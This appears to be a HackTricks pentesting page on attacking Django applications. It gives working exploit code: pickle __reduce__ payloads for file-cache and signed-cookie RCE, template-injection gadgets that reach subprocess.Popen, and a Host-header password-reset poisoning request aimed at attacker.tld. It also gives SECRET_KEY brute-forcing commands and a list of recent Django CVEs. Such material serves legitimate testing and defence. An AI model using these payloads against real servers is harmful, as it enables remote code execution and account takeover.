Django
{{#include ../../banners/hacktricks-training.md}}
Cache Manipulation to RCE
Django's default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server.
Django cache is stored in one of four places: Redis, memory, files, or a database. Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.
On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:
python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
Host Header / Password Reset Poisoning
Django uses the request host to build absolute URLs in several common patterns: password reset emails, canonical links, redirects, request.build_absolute_uri(), sitemap generation, and multitenant logic. The framework validates the host only when code goes through request.get_host(). Therefore, applications that read request.META['HTTP_HOST'] or trust HTTP_X_FORWARDED_HOST in custom middleware can reintroduce classic Host header poisoning bugs even when ALLOWED_HOSTS is configured.
High-value targets
- Password reset and email verification links generated from
request.build_absolute_uri() - Cache keys or reverse-proxy cache variations that include the host
- Tenancy / white-label logic that picks branding, callback URLs, or storage buckets from the host
- CSRF logic in deployments with attacker-controlled subdomains or overly broad cookie domains
Practical checks
POST /accounts/password/reset/ HTTP/1.1
Host: attacker.tld
X-Forwarded-Host: attacker.tld
X-Forwarded-Proto: https
Watch for:
* Reset links, absolute redirects, or preview URLs containing the injected host
* SuspiciousOperation only for Host, while X-Forwarded-Host still reaches application code
* Absolute URLs built from request.META['HTTP_HOST'] instead of request.get_host()
Django's own security docs explicitly note that fake Host values can be used for CSRF, cache poisoning, and poisoning links in emails, and that reading the host directly from request.META bypasses ALLOWED_HOSTS protection. Also remember the CSRF limitation: if an attacker controls a subdomain and can set cookies for the parent domain, they may be able to satisfy the CSRF cookie/token check for the main app.
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI β RCE.
Detection
- Look for dynamic calls to
Template()/Engine.from_string()/render_to_string()that include any unsanitised request data. - Send a time-based or arithmetic payload:
{{7*7}}
If the rendered output contains49the input is compiled by the template engine. - DTL is not Jinja2: arithmetic/loop payloads regularly raise
TemplateSyntaxError/500 while still proving evaluation. Polyglots like${{<%[%'"}}%are good crash-or-render probes.
Context exfiltration when RCE is blocked
Even if object-walking to subprocess.Popen fails, DTL still exposes in-scope objects:
{{ request }} {# confirm SSTI #}
{{ request.META }} {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }} {# QuerySet in the context? #}
{{ users.0 }} {# first row #}
{{ users.values }} {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}
QuerySet.values() coerces rows to dictionaries, bypassing __str__ and exposing all fields returned by the queryset. This works even when direct Python execution is filtered.
Automation pattern: authenticate, grab the CSRF token, save a marker-prefixed payload in any persistent field (e.g., username/profile bio), then request a view that renders it (AJAX endpoints like /likes/<id> are common). Parse a stable attribute (e.g., title="...") to recover the rendered result and iterate payloads.
Primitive to RCE
Django blocks direct access to __import__, but the Python object graph is reachable:
{{''.__class__.mro()[1].__subclasses__()}}
Find the index of
subprocess.Popen (β400β500 depending on Python build) and execute arbitrary commands:{{''.__class__.mro()[1].__subclasses__()[438](/page/hacktricks/network-services-pentesting/pentesting-web/'id',shell=True,stdout=-1).communicate()[0]}}
A safer universal gadget is to iterate until
cls.__name__ == 'Popen'.
The same gadget works for Debug Toolbar or Django-CMS template rendering features that mishandle user input.
Also see: ReportLab/xhtml2pdf PDF export RCE
Applications built on Django commonly integrate xhtml2pdf/ReportLab to export views as PDF. When user-controlled HTML flows into PDF generation, rl_safe_eval may evaluate expressions inside triple brackets [[[ ... ]]] enabling code execution (CVE-2023-33733). Details, payloads, and mitigations:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
Pickle-Backed Signed Session Cookie RCE
If the application uses SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' together with SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' (or a custom serializer that deserialises pickle), Django will unsign and unpickle attacker-controlled session data before view code runs. In this configuration, a leaked SECRET_KEY immediately becomes an RCE primitive.
Exploit Requirements
- The server uses the signed-cookie session backend (
django.contrib.sessions.backends.signed_cookies). - The server uses
PickleSerializer. - The attacker knows / can guess
settings.SECRET_KEY(leaks via GitHub,.env, error pages, etc.).
Recon and tooling
If the whole session is stored client-side, the sessionid cookie is usually a long signed blob rather than a short opaque session key from a server-side session store. That is the situation where SECRET_KEY guessing, reuse, or disclosure matters the most.
badsecrets can test Django signed cookies against known or weak secrets:
pip install badsecrets
badsecrets --url https://target.tld/
badsecrets '<sessionid_cookie_value>'
This is especially useful during wide scans for appliances or products that shipped with a hardcoded / tutorial SECRET_KEY, or after recovering a settings file from an LFI, debug page, or public repository.
Proof-of-Concept
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Send the resulting cookie, and the payload runs with the permissions of the WSGI worker.
Mitigations: keep the default JSONSerializer, rotate SECRET_KEY/SECRET_KEY_FALLBACKS, and leave SESSION_COOKIE_HTTPONLY enabled. Django's own signing/session docs explicitly recommend JSON here because JSON serialization prevents pickle-based code execution even if the signing key is exposed.
Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
These are useful as version-gated testing hints, but the important lesson is broader: recent Django SQLi fixes keep landing in places where developers assume "ORM == safe" while still passing attacker-controlled field names, JSON keys, or alias names into *args / **kwargs.
- CVE-2025-48432 β Log injection via unescaped
request.path(fixed June 4 2025). Allows attackers to smuggle newlines/ANSI escape sequences into application logs and poison downstream log ingestion or analyst terminals. Patch level β₯ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2025-57833 β SQL injection in
FilteredRelationcolumn aliases (fixed September 3 2025). Dangerous pattern: attacker-controlled dictionary expansion intoQuerySet.annotate()/QuerySet.alias()keyword arguments. - CVE-2024-42005 β SQL injection in
QuerySet.values()/values_list()onJSONField(fixed August 6 2024). Dangerous pattern: attacker-controlled JSON keys reachingvalues(*user_keys)orvalues_list(*user_keys). - CVE-2024-53908 β SQL injection in direct
HasKey(lhs, rhs)usage on Oracle (fixed December 4 2024). The commonfield__has_key='x'syntax is unaffected; the risky case is hand-built lookup objects with untrustedlhs.
Always fingerprint the exact framework version via the X-Frame-Options error page, /static/admin/css/base.css hashes, package metadata leaks, or debug stack traces, then test the affected call sites where user input influences lookup names or alias names rather than raw values.
References
- Django security release β "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" β https://www.djangoproject.com/weblog/2025/jun/04/security-releases/
- Django security release β "Django 5.2.6, 5.1.12, 4.2.24 address CVE-2025-57833" β https://www.djangoproject.com/weblog/2025/sep/03/security-releases/
- 0xdf: University (HTB) β Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD β https://0xdf.gitlab.io/2025/08/09/htb-university.html
- Django docs β QuerySet.values(): https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values
- Django docs β Security in Django / Sessions / Signing: https://docs.djangoproject.com/en/6.0/topics/security/, https://docs.djangoproject.com/en/6.0/topics/http/sessions/, https://docs.djangoproject.com/en/6.0/topics/signing/
- 0xdf: HackNet (HTB) β HTML Attribute Injection β Django SSTI β QuerySet.values data dump β Pickle FileBasedCache RCE β https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html
- Black Lantern Security β Introducing Badsecrets / project repo: https://blog.blacklanternsecurity.com/p/introducing-badsecrets, https://github.com/blacklanternsecurity/badsecrets
{{#include ../../banners/hacktricks-training.md}}